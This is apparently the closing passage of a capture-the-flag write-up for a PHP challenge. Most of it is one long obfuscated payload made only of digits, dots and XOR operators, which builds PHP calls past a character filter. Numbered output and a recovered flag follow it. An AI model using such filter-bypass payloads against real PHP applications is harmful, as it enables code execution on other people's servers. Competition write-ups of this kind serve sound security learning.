))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^(((9^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9))))))))
172
36374
173
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
174
No flag for you!
175
70
176
"""
Copied!
Last modified 9mo ago